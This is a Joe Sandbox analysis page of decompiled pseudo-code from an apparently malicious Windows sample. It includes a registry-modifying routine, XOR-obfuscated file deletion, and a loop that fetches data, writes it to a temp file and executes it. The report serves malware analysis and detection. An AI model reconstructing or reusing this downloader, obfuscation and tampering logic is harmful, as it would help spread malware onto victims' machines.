				_v188 = 0;
				_t244 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				RegOpenKeyExA(0x80000002, _t287, 0, 0xf003f,  &_v192);
				if(RegQueryValueExA(_v192,  &_v160, 0,  &_v188, _t244,  &_v184) == 0) {
					if(E00425320(_t244,  &_v144) == 0) {
						_t278 = _t244 - 1;
						do {
							_t230 =  *((intOrPtr*)(_t278 + 1));
							_t278 = _t278 + 1;
						} while (_t230 != 0);
						_t231 = " "; // 0x20
						 *_t278 = _t231;
						_t232 =  &_v144;
						_t275 = _t232;
						do {
							_t254 =  *_t232;
							_t232 = _t232 + 1;
						} while (_t254 != 0);
						_t233 = _t232 - _t275;
						_t280 = _t244 - 1;
						do {
							_t255 =  *(_t280 + 1);
							_t280 = _t280 + 1;
						} while (_t255 != 0);
						_t257 = _t233 >> 2;
						_t288 = _t275;
						memcpy(_t288 + _t257 + _t257, _t288, memcpy(_t280, _t288, _t257 << 2) & 0x00000003);
					}
					_t220 = _t244;
					_t196 = _t220 + 1; // 0x1
					_t273 = _t196;
					do {
						_t250 =  *_t220;
						_t220 = _t220 + 1;
					} while (_t250 != 0);
					if(RegSetValueExA(_v192,  &_v160, 0, _v188, _t244, _t220 - _t273 + 1) != 0) {
						_t290 = 0;
					}
					RegCloseKey(_v192);
					HeapFree(GetProcessHeap(), 0, _t244);
					return E00424873(_t290, _v12);
				} else {
					RegCloseKey(_v192);
					return E00424873(0, _v12);
				}
			}

0x004223a0
0x004223a6
0x004223ac
0x004223ba
0x004223be
0x004223c2
0x004223c7
0x004223cc
0x004223d0
0x004223d5
0x004223da
0x004223de
0x004223e3
0x004223e8
0x004223ed
0x004223f2
0x004223f7
0x004223fc
0x00422401
0x00422406
0x0042240b
0x00422410
0x00422415
0x0042241a
0x0042241f
0x00422424
0x00422429
0x0042242e
0x00422433
0x00422438
0x0042243d
0x00422442
0x00422447
0x0042244c
0x00422450
0x00422455
0x0042245a
0x0042245f
0x00422461
0x0042246b
0x0042246f
0x00422470
0x00422479
0x0042247d
0x00422481
0x00422485
0x0042248b
0x00422491
0x00422497
0x0042249b
0x0042249f
0x004224a5
0x004224ac
0x004224b7
0x004224bc
0x004224c1
0x004224c6
0x004224cb
0x004224cf
0x004224d4
0x004224d9
0x004224de
0x004224e3
0x004224e8
0x004224ed
0x004224f2
0x004224f7
0x004224fc
0x00422501
0x00422506
0x0042250b
0x00422510
0x00422515
0x0042251a
0x0042251f
0x00422524
0x00422529
0x0042252e
0x00422533
0x00422538
0x0042253d
0x00422542
0x00422546
0x0042254b
0x00422550
0x00422554
0x00422559
0x0042255e
0x00422563
0x00422568
0x0042256d
0x00422572
0x00422577
0x0042257f
0x00422587
0x0042258f
0x00422597
0x0042259e
0x004225a6
0x004225ae
0x004225b6
0x004225be
0x004225c6
0x004225ce
0x004225d6
0x004225dd
0x004225e4
0x004225ec
0x004225f3
0x004225fb
0x00422603
0x0042260b
0x00422613
0x0042261b
0x00422623
0x0042262d
0x00422634
0x0042263a
0x00422641
0x00422648
0x00422650
0x00422658
0x00422660
0x00422668
0x00422670
0x00422678
0x00422680
0x00422688
0x00422690
0x00422698
0x004226a0
0x004226a8
0x004226b0
0x004226b8
0x004226c0
0x004226c8
0x004226d0
0x004226d8
0x004226e0
0x004226e8
0x004226f0
0x004226f7
0x004226ff
0x00422707
0x0042270f
0x00422717
0x0042271f
0x00422727
0x0042272f
0x00422736
0x00422743
0x00422747
0x0042274b
0x0042274f
0x00422754
0x00422759
0x0042275d
0x00422762
0x00422767
0x0042276c
0x00422771
0x00422776
0x0042277b
0x00422780
0x00422785
0x0042278a
0x0042278f
0x00422794
0x00422799
0x0042279e
0x004227a3
0x004227a8
0x004227ad
0x004227b2
0x004227b7
0x004227bc
0x004227c1
0x004227c6
0x004227d0
0x004227da
0x004227de
0x004227df
0x004227eb
0x004227f0
0x004227f8
0x0042281f
0x00422821
0x00422846
0x0042287b
0x00422880
0x00422881
0x00422881
0x00422884
0x00422885
0x00422889
0x0042288f
0x00422892
0x00422896
0x00422898
0x00422898
0x0042289a
0x0042289b
0x004228a1
0x004228a3
0x004228a4
0x004228a4
0x004228a7
0x004228a8
0x004228ae
0x004228b1
0x004228ba
0x004228bc
0x004228bd
0x004228bf
0x004228bf
0x004228c2
0x004228c2
0x004228c4
0x004228c5
0x004228e7
0x004228e9
0x004228e9
0x004228f0
0x00422900
0x0042291d
0x00422848
0x0042284d
0x0042286a
0x0042286a

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00422800
HeapAlloc.KERNEL32(00000000), ref: 00422807
RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,74E5F990), ref: 00422821
RegQueryValueExA.ADVAPI32(?,00000054,00000000,00000000,00000000,?), ref: 0042283E
RegCloseKey.ADVAPI32(74E5F990), ref: 0042284D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,0000005C), ref: 004228DF
RegCloseKey.ADVAPI32(?,?,0000005C), ref: 004228F0
GetProcessHeap.KERNEL32(00000000,00000000,?,0000005C), ref: 004228F9
HeapFree.KERNEL32(00000000,?,0000005C), ref: 00422900

Strings

K, xrefs: 004227B7
Z, xrefs: 00422603
A, xrefs: 004224C1
R, xrefs: 004226A0
d, xrefs: 0042254B
d, xrefs: 00422717
~, xrefs: 00422515
5, xrefs: 004227BC
p, xrefs: 004225BE
b, xrefs: 004225A6
], xrefs: 0042241F
&, xrefs: 00422680
;, xrefs: 0042245A
v, xrefs: 0042276C
Q, xrefs: 004226F7
g, xrefs: 00422572
q, xrefs: 004224F7
S, xrefs: 00422771
N, xrefs: 00422401
), xrefs: 004223F2
R, xrefs: 0042259E
/, xrefs: 00422577
j, xrefs: 00422668
D, xrefs: 00422658
b, xrefs: 00422688
T, xrefs: 004223C7
\, xrefs: 004224FC
8, xrefs: 004224DE
>, xrefs: 0042275D
~, xrefs: 004224E3
!, xrefs: 004225E4
f, xrefs: 004224D4
S, xrefs: 004223ED
>, xrefs: 00422670
1, xrefs: 004226B8
{, xrefs: 004227A3
j, xrefs: 00422529
m, xrefs: 00422501
", xrefs: 00422424
s, xrefs: 00422613
G@,, xrefs: 004223A6
E, xrefs: 00422406
(, xrefs: 004226C0
%, xrefs: 00422587
S, xrefs: 00422794
P, xrefs: 004223E3
', xrefs: 00422455
1, xrefs: 00422533
:, xrefs: 00422707
Z, xrefs: 00422568
L, xrefs: 00422785
{, xrefs: 004226B0
K, xrefs: 004225AE
G, xrefs: 00422415
H, xrefs: 00422559

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$CloseProcessValue$AllocFreeOpenQuery
String ID: !$"$%$&$'$($)$/$1$1$5$8$:$;$>$>$A$D$E$G$G@,$H$K$K$L$N$P$Q$R$R$S$S$S$T$Z$Z$\$]$b$b$d$d$f$g$j$j$m$p$q$s$v${${$~$~
API String ID: 1874932168-2091772658
Opcode ID: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction ID: bbaaf71f1dd44b42d8da240f366e0f2ce8dd36e8536a405cef6b64a909e2b2a5
Opcode Fuzzy Hash: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
Instruction Fuzzy Hash: FBF1D62110C7C18DD332C67C984879BBFD15BA7228F484A9DE1E84B3E3C7A98549C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413687, Relevance: 91.2, APIs: 11, Strings: 41, Instructions: 244
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413687(void* __eax, char __ebx, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a54, char _a55, char _a56, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a94, char _a95, char _a96, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a148, char _a216, intOrPtr _a476) {
				void* _t188;
				void* _t192;
				CHAR* _t195;
				void* _t196;
				void* _t200;
				void* _t204;
				char _t210;
				void* _t242;

				_t210 = __ebx;
				_t188 = __eax;
				do {
					 *(_t242 + _t188 + 0x94) =  *(_t242 + _t188 + 0x94) ^  *(_t242 + _t188 + 0x14);
					_t188 = _t188 + 1;
				} while (_t188 < 0x13);
				ExpandEnvironmentStringsA( &_a148,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a128 = 0x7b;
				_a129 = 0x3a;
				_a130 = 0x59;
				_a131 = 0xfe;
				_a132 = 0x78;
				_a133 = __ebx;
				_a134 = 0xb1;
				_a135 = 0x27;
				_a136 = 0x34;
				_a137 = 0xf8;
				_a138 = 0x7f;
				_a139 = 0x7a;
				_a140 = 6;
				_a141 = 0x30;
				_a142 = 0xcb;
				_a143 = 0xef;
				_a144 = 0x87;
				_a145 = 0xae;
				_a146 = 0xc9;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = __ebx;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8b;
				_a36 = 0xeb;
				_a37 = 0xc2;
				_a38 = 0xc9;
				_t192 = 0;
				do {
					 *(_t242 + _t192 + 0x80) =  *(_t242 + _t192 + 0x80) ^  *(_t242 + _t192 + 0x14);
					_t192 = _t192 + 1;
				} while (_t192 < 0x13);
				ExpandEnvironmentStringsA( &_a128,  &_a216, 0x104);
				_t195 = DeleteFileA( &_a216);
				if(_t195 == 0) {
					MoveFileExA( &_a216, _t195, 4);
				}
				_a80 = 0x7b;
				_a81 = 0x3a;
				_a82 = 0x59;
				_a83 = 0xfe;
				_a84 = 0x78;
				_a85 = _t210;
				_a86 = 0xb1;
				_a87 = 0x27;
				_a88 = 0x34;
				_a89 = 0xf8;
				_a90 = 0x7f;
				_a91 = 0x7a;
				_a92 = 6;
				_a93 = 0x30;
				_a94 = 0xcb;
				_a95 = 0xef;
				_a96 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x95;
				_a36 = 0x87;
				_t196 = 0;
				do {
					 *(_t242 + _t196 + 0x4c) =  *(_t242 + _t196 + 0x4c) ^  *(_t242 + _t196 + 0x10);
					_t196 = _t196 + 1;
				} while (_t196 < 0x11);
				ExpandEnvironmentStringsA( &_a80,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a40 = 0x7b;
				_a41 = 0x3a;
				_a42 = 0x59;
				_a43 = 0xfe;
				_a44 = 0x78;
				_a45 = _t210;
				_a46 = 0xb1;
				_a47 = 0x27;
				_a48 = 0x34;
				_a49 = 0xf8;
				_a50 = 0x7f;
				_a51 = 0x7a;
				_a52 = 6;
				_a53 = 0x30;
				_a54 = 0xcb;
				_a55 = 0xef;
				_a56 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x9c;
				_a36 = 0x87;
				_t200 = 0;
				do {
					 *(_t242 + _t200 + 0x24) =  *(_t242 + _t200 + 0x24) ^  *(_t242 + _t200 + 0x10);
					_t200 = _t200 + 1;
				} while (_t200 < 0x11);
				ExpandEnvironmentStringsA( &_a40,  &_a216, 0x104);
				DeleteFileA( &_a216);
				_a60 = 0x7b;
				_a61 = 0x3a;
				_a62 = 0x59;
				_a63 = 0xfe;
				_a64 = 0x78;
				_a65 = _t210;
				_a66 = 0xb1;
				_a67 = 0x27;
				_a68 = 0x34;
				_a69 = 0xf8;
				_a70 = 0x7f;
				_a71 = 0x7a;
				_a72 = 6;
				_a73 = 0x30;
				_a74 = 0xcb;
				_a75 = 0xef;
				_a76 = 0x87;
				_a20 = 0x5e;
				_a21 = 0x6d;
				_a22 = 0x10;
				_a23 = _t210;
				_a24 = 0x3c;
				_a25 = 0xf9;
				_a26 = 0xe3;
				_a27 = 2;
				_a28 = 0x68;
				_a29 = 0x8c;
				_a30 = 0xc;
				_a31 = 0x1f;
				_a32 = 0x74;
				_a33 = 0x46;
				_a34 = 0xe5;
				_a35 = 0x8c;
				_a36 = 0x87;
				_t204 = 0;
				do {
					 *(_t242 + _t204 + 0x38) =  *(_t242 + _t204 + 0x38) ^  *(_t242 + _t204 + 0x10);
					_t204 = _t204 + 1;
				} while (_t204 < 0x11);
				ExpandEnvironmentStringsA( &_a60,  &_a216, 0x104);
				return E00424873(DeleteFileA( &_a216), _a476);
			}

0x00413687
0x00413687
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fb
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32 ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

m, xrefs: 00413867
m, xrefs: 00413A2B
4, xrefs: 0041370A
0, xrefs: 00413A12
<, xrefs: 00413A39
t, xrefs: 00413A61
F, xrefs: 00413A66
x, xrefs: 00413906
z, xrefs: 00413928
', xrefs: 00413914
{, xrefs: 004136CB
0, xrefs: 00413732
:, xrefs: 004138F7
:, xrefs: 004136D3
Y, xrefs: 004139DC
Y, xrefs: 004138FC
:, xrefs: 004139D7
0, xrefs: 0041384E
4, xrefs: 00413919
x, xrefs: 004136EB
:, xrefs: 00413813
0, xrefs: 00413932
', xrefs: 00413830
h, xrefs: 00413A4D
4, xrefs: 004139F9
z, xrefs: 00413844
z, xrefs: 00413A08
x, xrefs: 00413822
{, xrefs: 004138F2
{, xrefs: 004139D2
^, xrefs: 00413A26
x, xrefs: 004139E6
', xrefs: 004139F4
F, xrefs: 004138A2
Y, xrefs: 00413818
Y, xrefs: 004136DB
t, xrefs: 0041389D
{, xrefs: 0041380E
4, xrefs: 00413835
', xrefs: 00413702
z, xrefs: 00413722

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$DeleteEnvironmentExpandStrings$Move
String ID: '$'$'$'$0$0$0$0$4$4$4$4$:$:$:$:$<$F$F$Y$Y$Y$Y$^$h$m$m$t$t$x$x$x$x$z$z$z$z${${${${
API String ID: 1654938343-3628898711
Opcode ID: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction ID: ffda26696a7c03ebfd7e55884b4f9ff3b6aa4abcfec39c9677275916e54d1851
Opcode Fuzzy Hash: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
Instruction Fuzzy Hash: 05D1A91100C7C289D322D67C945878FFFD51BE7228F484F9DE1E99A2D2C6AA824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 00401960, Relevance: 86.1, APIs: 15, Strings: 34, Instructions: 332
memorysleepfileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00401960() {
				intOrPtr _v8;
				char _v344;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v614;
				char _v615;
				char _v617;
				char _v618;
				char _v619;
				char _v621;
				char _v622;
				char _v623;
				char _v625;
				char _v626;
				char _v627;
				char _v629;
				char _v631;
				char _v633;
				char _v634;
				char _v635;
				char _v637;
				char _v638;
				char _v639;
				char _v641;
				char _v642;
				char _v643;
				char _v645;
				char _v646;
				char _v647;
				char _v649;
				char _v650;
				char _v651;
				char _v653;
				char _v654;
				char _v655;
				char _v657;
				char _v658;
				char _v659;
				struct _STARTUPINFOA _v680;
				char _v688;
				intOrPtr _v692;
				void* _v696;
				intOrPtr _v700;
				char _v704;
				char _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v728;
				struct _PROCESS_INFORMATION _v744;
				long _v748;
				long _v752;
				intOrPtr _v756;
				CHAR* _v760;
				void* _v764;
				intOrPtr _v776;
				intOrPtr _t150;
				CHAR* _t153;
				long _t154;
				void* _t158;
				intOrPtr _t159;
				intOrPtr _t165;
				signed char _t170;
				signed char _t171;
				signed int _t188;
				signed int _t196;
				signed char _t208;
				signed char _t224;
				intOrPtr _t247;
				void* _t248;
				signed int _t257;
				void* _t259;

				_t259 = (_t257 & 0xfffffff8) - 0x2bc;
				_t150 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t150;
				_v680.dwXSize = 0x78;
				_v641 = 0x78;
				_v680.dwFillAttribute = 0x92;
				_v634 = 0x92;
				_v625 = 0x92;
				_v680.dwY = 0x7b;
				_v659 = 0x3a;
				_v658 = 0x59;
				_v657 = 0xfe;
				_v655 = 0xb0;
				_v654 = 0xb1;
				_v653 = 0x27;
				_v680.dwYSize = 0x34;
				_v651 = 0xf8;
				_v650 = 0x7f;
				_v649 = 0x7a;
				_v680.dwXCountChars = 6;
				_v647 = 0x30;
				_v646 = 0xcb;
				_v645 = 0xef;
				_v680.dwYCountChars = 0x87;
				_v643 = 0xae;
				_v642 = 0xc9;
				_v639 = 0x32;
				_v638 = 0xab;
				_v637 = 0x86;
				_v680.dwFlags = 0x63;
				_v635 = 0x79;
				_v633 = 0x5c;
				_v680.wShowWindow = 0x91;
				_v631 = 0xf3;
				_v680.cbReserved2 = 0xd2;
				_v629 = 0xbf;
				_v680.lpReserved2 = 0xb5;
				_v627 = 0x53;
				_v626 = 0xa2;
				_v680.hStdInput = 0x76;
				_v623 = 0x85;
				_v622 = 0xd9;
				_v621 = 4;
				_v680.hStdOutput = 0x41;
				_v619 = 0x85;
				_v618 = 0x70;
				_v617 = 0x49;
				_v680.hStdError = 0xf6;
				_v615 = 0x7d;
				_v614 = 0xd2;
				_v612 = 0x13;
				_v611 = 0x4e;
				_v610 = 0x2d;
				_v609 = 0x8e;
				_v608 = 0x42;
				_v607 = 0x9f;
				_v606 = 0x9e;
				_v605 = 0x50;
				_v604 = 0x43;
				_v603 = 0x8f;
				_v602 = 0x4b;
				_v601 = 0x54;
				_v600 = 0x65;
				_v599 = 0x55;
				_v598 = 0xaf;
				_v597 = 0x8a;
				_v596 = 0xf4;
				_v595 = 0xdb;
				_v594 = 0xa7;
				_v593 = 0x12;
				_v592 = 0xf7;
				_v591 = 0x40;
				_v590 = 0xc2;
				_v589 = 0xe8;
				_v566 = 0xd2;
				_v588 = 8;
				_v587 = 0x18;
				_v586 = 0xe1;
				_v585 = 0x72;
				_v584 = 0xf2;
				_v583 = 0x9c;
				_v582 = 0xbf;
				_v581 = 0x90;
				_v580 = 0xd6;
				_v579 = 0x3b;
				_v578 = 0xd0;
				_v577 = 0xbd;
				_v576 = 1;
				_v575 = 0xf1;
				_v574 = 0xbb;
				_v573 = 0x2b;
				_v572 = 0x2d;
				_v571 = 0xf1;
				_v570 = 0x5e;
				_v569 = 0x2c;
				_v568 = 0x8e;
				_v567 = 0x18;
				_t153 = 0;
				do {
					 *(_t259 + _t153 + 0x38) =  *(_t259 + _t153 + 0x38) ^  *(_t259 + _t153 + 0x68);
					_t153 = _t153 + 1;
				} while (_t153 < 0x2f);
				_v692 = 1;
				_t154 = L004016F0(0x18);
				if(_t154 != 0) {
					L23:
					return E00424873(0, _v8);
				} else {
					_t158 = HeapAlloc(GetProcessHeap(), _t154, 0x80000);
					_v696 = _t158;
					if(_t158 != 0) {
						_t159 = 0;
						_t208 = 0x32;
						_v700 = 0;
						while(_t159 < 0x20) {
							if(_t159 != 0) {
								Sleep(0x493e0);
							}
							_push(0);
							_push( &_v704);
							_v704 = 7;
							_t208 = _t208 + 0x2c;
							while( *0x431ef8() == 0) {
								Sleep(0x3e8);
								_push(0);
								_push( &_v712);
								_v712 = 7;
								_t208 = _t208 + 0x2c;
							}
							_t247 =  *0x431efc(0x42e292, 1, 0, 0, 0);
							_v716 = _t247;
							if(_t247 != 0) {
								_t165 =  *0x431f00(_t247,  &_v688, 0, 0, 0, 0);
								_v756 = _t165;
								if(_t165 != 0) {
									_push( &(_v744.dwProcessId));
									_push(0x80000);
									_push(_v748);
									_push(_t165);
									 *0x431c81 = 0xb7;
									if( *0x431f04() != 0) {
										GetTempPathA(0x104,  &_v344);
										GetTempFileNameA( &_v344, 0x42e290, 0,  &_v608);
										_t170 =  *0x431c81; // 0x0
										_t171 = _t170 | 0x00000082;
										 *0x431c81 = _t171;
										_t248 = CreateFileA( &_v608, 0x40000000, 0, 0, 2, 0, 0);
										 *0x431c81 = 0x76;
										WriteFile(_t248, _v764, _v752,  &_v748, 0);
										_t224 =  *0x431c81; // 0x0
										 *0x431c81 = _t224 | _t171 ^ 0x00000011 | 0x00000039;
										CloseHandle(_t248);
										memset( &_v680, 0, 0x11 << 2);
										_t259 = _t259 + 0xc;
										_v680.cb = 0x44;
										_v680.wShowWindow = 0;
										if(CreateProcessA(0,  &_v608, 0, 0, 0, 0, 0, 0,  &_v680,  &_v744) == 0) {
											DeleteFileA( &_v608);
										} else {
											CloseHandle(_v744.hThread);
											 *0x431c81 =  *0x431c81 | 0x00000058;
											CloseHandle(_v744);
											_t188 =  *0x431c81; // 0x0
											_v760 = 0;
											 *0x431c81 = (_t188 * 0x000000e4 | 0x0000003d) ^ 0x0000009c;
											E00401830();
										}
										 *0x431c81 = 0x76;
										 *0x431f08(_v756);
										 *0x431f08(_v776);
										_t208 = 0x76;
										 *0x431c81 = 0xf7;
									} else {
										 *0x431f08(_t247);
										 *0x431c81 = 0xb7;
										_t208 = 0xa6;
										 *0x431f08(_v776);
									}
								} else {
									_t196 =  *0x431c81; // 0x0
									 *0x431c81 = _t196 * 0xf7;
									_t208 = 0x51;
									 *0x431f08(_t247);
								}
							}
							_v728 = _v728 + 1;
							if(_v720 != 0) {
								_t159 = _v728;
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v696);
						goto L23;
					} else {
						return E00424873(1, _v8);
					}
				}
			}

0x00401966
0x0040196c
0x00401973
0x0040197d
0x00401981
0x00401985
0x00401989
0x0040198f
0x00401999
0x0040199e
0x004019a3
0x004019a8
0x004019ad
0x004019b2
0x004019b7
0x004019bc
0x004019c1
0x004019c6
0x004019cb
0x004019d0
0x004019d5
0x004019da
0x004019df
0x004019e4
0x004019e9
0x004019ee
0x004019f3
0x004019f8
0x004019fd
0x00401a02
0x00401a07
0x00401a0c
0x00401a11
0x00401a16
0x00401a1b
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3c
0x00401a41
0x00401a46
0x00401a4b
0x00401a4f
0x00401a54
0x00401a59
0x00401a5e
0x00401a63
0x00401a67
0x00401a6c
0x00401a71
0x00401a76
0x00401a7a
0x00401a7f
0x00401a84
0x00401a89
0x00401a8e
0x00401a93
0x00401a98
0x00401a9d
0x00401aa2
0x00401aa7
0x00401aac
0x00401ab1
0x00401ab6
0x00401abb
0x00401ac0
0x00401ac5
0x00401aca
0x00401acf
0x00401ad4
0x00401ad9
0x00401ae2
0x00401ae9
0x00401af1
0x00401af8
0x00401b00
0x00401b08
0x00401b10
0x00401b18
0x00401b20
0x00401b28
0x00401b30
0x00401b38
0x00401b40
0x00401b48
0x00401b50
0x00401b57
0x00401b5f
0x00401b67
0x00401b6f
0x00401b76
0x00401b7e
0x00401b86
0x00401b8d
0x00401b94
0x00401b96
0x00401ba0
0x00401ba4
0x00401ba5
0x00401baa
0x00401bb2
0x00401bb9
0x00401e69
0x00401e7d
0x00401bbf
0x00401bcc
0x00401bd4
0x00401bd8
0x00401bfa
0x00401bfc
0x00401bfe
0x00401c10
0x00401c21
0x00401c28
0x00401c28
0x00401c2a
0x00401c30
0x00401c31
0x00401c39
0x00401c44
0x00401c4b
0x00401c4d
0x00401c53
0x00401c54
0x00401c5c
0x00401c65
0x00401c7c
0x00401c80
0x00401c84
0x00401c98
0x00401ca0
0x00401ca4
0x00401cca
0x00401ccb
0x00401cd0
0x00401cd1
0x00401cd2
0x00401ce1
0x00401d10
0x00401d2d
0x00401d33
0x00401d40
0x00401d44
0x00401d66
0x00401d74
0x00401d7b
0x00401d81
0x00401d8d
0x00401d93
0x00401da0
0x00401da0
0x00401dbd
0x00401dc8
0x00401dd8
0x00401e14
0x00401dda
0x00401ddf
0x00401de1
0x00401ded
0x00401def
0x00401dfc
0x00401e00
0x00401e05
0x00401e05
0x00401e1f
0x00401e26
0x00401e31
0x00401e37
0x00401e39
0x00401ce3
0x00401ce4
0x00401cef
0x00401cf6
